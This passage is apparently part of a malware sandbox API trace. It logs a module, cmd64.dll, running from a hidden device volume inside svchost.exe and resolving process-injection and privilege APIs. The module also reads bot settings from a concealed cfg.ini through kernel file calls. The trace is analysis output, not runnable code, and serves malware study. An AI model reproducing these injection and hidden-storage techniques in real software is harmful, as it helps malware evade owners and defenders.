lpProcName="QueueUserWorkItem") returned 0x77a41370 [0081.618] GetProcAddress (hModule=0x77a30000, lpProcName="Sleep") returned 0x77a52b70 [0081.618] GetProcAddress (hModule=0x77a30000, lpProcName="TerminateProcess") returned 0x77a7bca0 [0081.619] GetProcAddress (hModule=0x77a30000, lpProcName="ResumeThread") returned 0x77a413a0 [0081.619] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64SetThreadContext") returned 0x77a7af70 [0081.619] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64GetThreadContext") returned 0x77a7afa0 [0081.619] GetProcAddress (hModule=0x77a30000, lpProcName="WriteProcessMemory") returned 0x77a7bad0 [0081.619] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAllocEx") returned 0x77a7bbd0 [0081.619] GetProcAddress (hModule=0x77a30000, lpProcName="CreateProcessA") returned 0x77ac8840 [0081.619] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleFileNameA") returned 0x77a464a0 [0081.619] GetProcAddress (hModule=0x77a30000, lpProcName="LeaveCriticalSection") returned 0x77ca3000 [0081.619] GetProcAddress (hModule=0x77a30000, lpProcName="EnterCriticalSection") returned 0x77ca2fc0 [0081.619] GetProcAddress (hModule=0x77a30000, lpProcName="HeapCreate") returned 0x77a470e0 [0081.619] GetProcAddress (hModule=0x77a30000, lpProcName="HeapDestroy") returned 0x77a41490 [0081.619] GetProcAddress (hModule=0x77a30000, lpProcName="HeapAlloc") returned 0x77ca33a0 [0081.619] GetProcAddress (hModule=0x77a30000, lpProcName="HeapReAlloc") returned 0x77c83f20 [0081.620] GetProcAddress (hModule=0x77a30000, lpProcName="HeapFree") returned 0x77a53070 [0081.620] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAlloc") returned 0x77a467a0 [0081.620] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualFree") returned 0x77a41260 [0081.620] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0081.620] GetProcAddress (hModule=0x77a30000, lpProcName="CreateMutexA") returned 0x77a47210 [0081.620] GetProcAddress (hModule=0x77a30000, lpProcName="GetLastError") returned 0x77a52dd0 [0081.620] GetProcAddress (hModule=0x77a30000, lpProcName="WaitForSingleObject") returned 0x77a52b20 [0081.620] GetProcAddress (hModule=0x77a30000, lpProcName="ReleaseMutex") returned 0x77a52b90 [0081.620] GetProcAddress (hModule=0x77a30000, lpProcName="WritePrivateProfileStringA") returned 0x77ab16b0 [0081.620] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileStringA") returned 0x77ab1720 [0081.620] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileIntA") returned 0x77ab18b0 [0081.620] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileSectionA") returned 0x77ab1600 [0081.621] GetProcAddress (hModule=0x77a30000, lpProcName="InitializeCriticalSection") returned 0x77c78100 [0081.621] GetProcAddress (hModule=0x77a30000, lpProcName="GetFileSize") returned 0x77a3f9d0 [0081.621] GetProcAddress (hModule=0x77a30000, lpProcName="CloseHandle") returned 0x77a52f80 [0081.621] GetProcAddress (hModule=0x77a30000, lpProcName="ReadFile") returned 0x77a41500 [0081.621] GetProcAddress (hModule=0x77a30000, lpProcName="WriteFile") returned 0x77a535a0 [0081.621] GetProcAddress (hModule=0x77a30000, lpProcName="SetEndOfFile") returned 0x77a7bd70 [0081.621] GetProcAddress (hModule=0x77a30000, lpProcName="FlushFileBuffers") returned 0x77a369f0 [0081.621] GetModuleHandleA (lpModuleName="ADVAPI32.dll") returned 0x7fefed20000 [0081.621] GetProcAddress (hModule=0x7fefed20000, lpProcName="ConvertStringSecurityDescriptorToSecurityDescriptorW") returned 0x7fefed32040 [0081.622] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0081.622] GetProcAddress (hModule=0x7fefed20000, lpProcName="GetSecurityDescriptorSacl") returned 0x7fefed31e00 [0081.622] GetProcAddress (hModule=0x7fefed20000, lpProcName="CreateProcessAsUserA") returned 0x7fefed6a1a0 [0081.622] GetProcAddress (hModule=0x7fefed20000, lpProcName="AdjustTokenPrivileges") returned 0x7fefed3b9b0 [0081.622] GetProcAddress (hModule=0x7fefed20000, lpProcName="LookupPrivilegeValueA") returned 0x7fefed21a00 [0081.622] GetProcAddress (hModule=0x7fefed20000, lpProcName="OpenProcessToken") returned 0x7fefed3bd70 [0081.622] GetModuleHandleA (lpModuleName="USER32.dll") returned 0x77b50000 [0081.622] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0081.622] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x7feff940000 [0081.622] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0081.624] PathRemoveFileSpecA (in: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c") returned 1 [0081.624] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x1e310, nSize=0x3ff | out: lpFilename="C:\\Windows\\system32\\svchost.exe") returned 0x1f [0081.624] PathFindFileNameA (pszPath="C:\\Windows\\system32\\svchost.exe") returned="svchost.exe" [0081.624] GetCommandLineA () returned="C:\\Windows\\system32\\svchost.exe -k netsvcs" [0081.624] _strcmpi (_Str1="svchost.exe", _Str2="svchost.exe") returned 0 [0081.624] StrStrIA (lpFirst="C:\\Windows\\system32\\svchost.exe -k netsvcs", lpSrch="netsvcs") returned="netsvcs" [0081.626] CreateMutexA (lpMutexAttributes=0x1cf0f0, bInitialOwner=0, lpName="Global\\B10C62E4-234C-4BF6-A1D5-1C0309CED145") returned 0x6c [0081.626] GetLastError () returned 0x0 [0081.626] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0081.665] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x249ac0, lpbSaclPresent=0x1cf0e0, pSacl=0x1cf0a0, lpbSaclDefaulted=0x1cf0d8 | out: lpbSaclPresent=0x1cf0e0, pSacl=0x1cf0a0, lpbSaclDefaulted=0x1cf0d8) returned 1 [0081.665] SetSecurityInfo () returned 0x0 [0081.668] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ntmarta.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.671] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\Wldap32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.717] LocalFree (hMem=0x249ac0) returned 0x0 [0081.717] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x16558, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb0 [0081.717] CloseHandle (hObject=0xb0) returned 1 [0081.719] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptbase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 189 os_tid = 0x384 Thread: id = 191 os_tid = 0x38c Thread: id = 194 os_tid = 0x398 [0081.795] CreateMutexA (lpMutexAttributes=0x151eb90, bInitialOwner=0, lpName="Global\\C3819288-93FA-4E29-A254-BD9476B53C20") returned 0xf0 [0081.795] GetLastError () returned 0x0 [0081.795] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0081.796] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x2520b0, lpbSaclPresent=0x151eb50, pSacl=0x151eb10, lpbSaclDefaulted=0x151eb48 | out: lpbSaclPresent=0x151eb50, pSacl=0x151eb10, lpbSaclDefaulted=0x151eb48) returned 1 [0081.796] SetSecurityInfo () returned 0x0 [0081.797] LocalFree (hMem=0x2520b0) returned 0x0 [0081.797] _snprintf (in: _Dest=0x20b70, _Count=0x3ff, _Format="%s\\%s" | out: _Dest="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 47 [0081.797] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0081.797] GetPrivateProfileStringA (in: lpAppName="cmd", lpKeyName="bsh", lpDefault="noname", lpReturnedString=0x1ca60, nSize=0x3ff, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="noname") returned 0x6 [0081.797] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.797] KeEnterCriticalRegion () [0081.797] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.797] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.797] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.797] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.797] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0081.797] IdePortDispatch () returned 0x103 [0081.797] KeWaitForMutexObject () returned 0x0 [0081.797] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.797] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0081.798] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0081.798] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0081.798] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80034ef270 [0081.798] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.798] KeLeaveCriticalRegion () [0081.798] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.798] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.798] KeEnterCriticalRegion () [0081.798] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.798] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80034e8010, Context=0x0) returned 0x0 [0081.798] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.798] KeLeaveCriticalRegion () [0081.798] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.798] KeEnterCriticalRegion () [0081.798] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.798] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.798] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.798] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.798] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0081.798] IdePortDispatch () returned 0x103 [0081.798] KeWaitForMutexObject () returned 0x0 [0081.798] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.798] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.798] KeLeaveCriticalRegion () [0081.798] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.798] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.798] KeEnterCriticalRegion () [0081.798] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.798] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c84000 [0081.799] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.799] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003648530 [0081.799] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0081.799] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0081.799] IdePortDispatch () returned 0x103 [0081.799] KeWaitForMutexObject () returned 0x0 [0081.799] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.799] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.799] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003648530 [0081.799] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0081.799] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0081.799] IdePortDispatch () returned 0x103 [0081.799] KeWaitForMutexObject () returned 0x0 [0081.799] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.799] KeLeaveCriticalRegion () [0081.799] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.800] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.800] KeEnterCriticalRegion () [0081.801] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.801] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80034e8010, Context=0x0) returned 0x0 [0081.801] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.801] KeLeaveCriticalRegion () [0081.801] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.801] KeEnterCriticalRegion () [0081.801] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.801] IoGetRequestorProcess (Irp=0xfffffa80034e8010) returned 0xfffffa80034fca60 [0081.801] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa80036a0070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0081.801] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.801] KeLeaveCriticalRegion () [0081.801] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.801] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.801] KeEnterCriticalRegion () [0081.801] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.801] ExFreePoolWithTag (P=0xfffffa80034ef270, Tag=0x0) [0081.801] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.801] KeLeaveCriticalRegion () [0081.801] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.801] ReleaseMutex (hMutex=0xf0) returned 1 [0081.801] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0081.801] GetPrivateProfileStringA (in: lpAppName="main", lpKeyName="aid", lpDefault="10000", lpReturnedString=0x1c660, nSize=0x3ff, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="66671") returned 0x5 [0081.801] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.801] KeEnterCriticalRegion () [0081.801] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.801] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.801] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.801] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.801] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0081.801] IdePortDispatch () returned 0x103 [0081.801] KeWaitForMutexObject () returned 0x0 [0081.805] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.805] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0081.805] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0081.805] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0081.805] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8007fff0e0 [0081.805] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.805] KeLeaveCriticalRegion () [0081.805] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.805] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.805] KeEnterCriticalRegion () [0081.805] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.805] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80034e8010, Context=0x0) returned 0x0 [0081.805] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.805] KeLeaveCriticalRegion () [0081.805] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.805] KeEnterCriticalRegion () [0081.805] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.805] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.805] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.805] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.805] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0081.805] IdePortDispatch () returned 0x103 [0081.805] KeWaitForMutexObject () returned 0x0 [0081.805] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.806] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.806] KeLeaveCriticalRegion () [0081.806] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.806] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.806] KeEnterCriticalRegion () [0081.806] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.806] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c89000 [0081.806] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.806] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003648530 [0081.806] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0081.806] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0081.806] IdePortDispatch () returned 0x103 [0081.806] KeWaitForMutexObject () returned 0x0 [0081.806] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.806] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.806] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003648530 [0081.806] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0081.806] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0081.806] IdePortDispatch () returned 0x103 [0081.806] KeWaitForMutexObject () returned 0x0 [0081.806] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.806] KeLeaveCriticalRegion () [0081.806] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.807] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.807] KeEnterCriticalRegion () [0081.807] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.807] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80034e8010, Context=0x0) returned 0x0 [0081.807] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.807] KeLeaveCriticalRegion () [0081.807] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.807] KeEnterCriticalRegion () [0081.807] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.807] IoGetRequestorProcess (Irp=0xfffffa80034e8010) returned 0xfffffa80034fca60 [0081.807] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa80036a0350, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0081.807] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.807] KeLeaveCriticalRegion () [0081.807] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.807] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.807] KeEnterCriticalRegion () [0081.807] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.807] ExFreePoolWithTag (P=0xfffffa8007fff0e0, Tag=0x0) [0081.807] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.807] KeLeaveCriticalRegion () [0081.807] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.807] ReleaseMutex (hMutex=0xf0) returned 1 [0081.807] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0081.807] GetPrivateProfileStringA (in: lpAppName="main", lpKeyName="sid", lpDefault="0", lpReturnedString=0x1c260, nSize=0x3ff, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="0") returned 0x1 [0081.807] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.808] KeEnterCriticalRegion () [0081.808] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.808] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.808] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.808] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.808] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0081.808] IdePortDispatch () returned 0x103 [0081.808] KeWaitForMutexObject () returned 0x0 [0081.808] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.808] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0081.808] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0081.808] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0081.808] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80034ef270 [0081.808] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.808] KeLeaveCriticalRegion () [0081.808] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.808] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.808] KeEnterCriticalRegion () [0081.808] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.808] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80034e8010, Context=0x0) returned 0x0 [0081.808] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.808] KeLeaveCriticalRegion () [0081.808] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.808] KeEnterCriticalRegion () [0081.808] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.808] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.808] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.808] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.808] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0081.808] IdePortDispatch () returned 0x103 [0081.808] KeWaitForMutexObject () returned 0x0 [0081.809] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.809] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.809] KeLeaveCriticalRegion () [0081.809] IofCompleteRequest 